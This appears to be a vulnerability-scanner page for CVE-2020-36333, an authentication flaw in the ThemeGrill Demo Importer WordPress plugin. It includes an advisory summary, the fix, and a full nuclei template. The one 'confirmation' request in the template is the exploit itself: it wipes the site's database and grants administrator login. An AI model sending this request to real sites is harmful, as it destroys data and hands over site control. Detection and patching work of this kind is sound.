Browse / CVEs / CVE-2020-36333
CVE-2020-36333· themegrill / themegrill-demo-importer· CWE-285
ThemeGrill Demo Importer < 1.6.2 - Database Reset
ThemeGrill Demo Importer before 1.6.2 does not require authentication for wiping the database due to a reset_wizard_actions hook. In versions 1.3.4 and above and versions 1.6.1 and below, there is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator.
Impact
Unauthenticated attackers can wipe the entire WordPress database to its default state and gain automatic administrator access, resulting in complete site takeover and data loss.
Fix
Upgrade to ThemeGrill Demo Importer version 1.6.2 or later.
How to confirm it
Send: GET /wp-admin/admin-post.php?do_reset_wordpress=1
Positive when: len(body)==0 and status_code == 302 and contains_all(header, "wordpress_logged_in_", "reset=true")Run it with nuclei: nuclei -id CVE-2020-36333 -u <target>
The full check
id: CVE-2020-36333
info:
name: ThemeGrill Demo Importer < 1.6.2 - Database Reset
author: iamnoooob,pdresearch
severity: critical
description: |
ThemeGrill Demo Importer before 1.6.2 does not require authentication for wiping the database due to a reset_wizard_actions hook. In versions 1.3.4 and above and versions 1.6.1 and below, there is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator.
impact: |
Unauthenticated attackers can wipe the entire WordPress database to its default state and gain automatic administrator access, resulting in complete site takeover and data loss.
remediation: |
Upgrade to ThemeGrill Demo Importer version 1.6.2 or later.
reference:
- https://www.openwall.com/lists/oss-security/2020/02/19/1
- https://nvd.nist.gov/vuln/detail/CVE-2020-36333
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2020-36333
cwe-id: CWE-285
epss-score: 0.03995
epss-percentile: 0.90605
metadata:
verified: true
max-request: 1
product: themegrill-demo-importer
vendor: themegrill
fofa-query: body="/plugins/themegrill-demo-importer"
tags: cve,cve2020,wp,wordpress,wp-plugin,themegrill,vkev,vuln
http:
- raw:
- |+
GET /wp-admin/admin-post.php?do_reset_wordpress=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'len(body)==0'
- 'status_code == 302'
- 'contains_all(header, "wordpress_logged_in_", "reset=true")'
condition: andReferences
- https://www.openwall.com/lists/oss-security/2020/02/19/1
- https://nvd.nist.gov/vuln/detail/CVE-2020-36333
Use this check only on systems you are authorised to test. Where the data comes from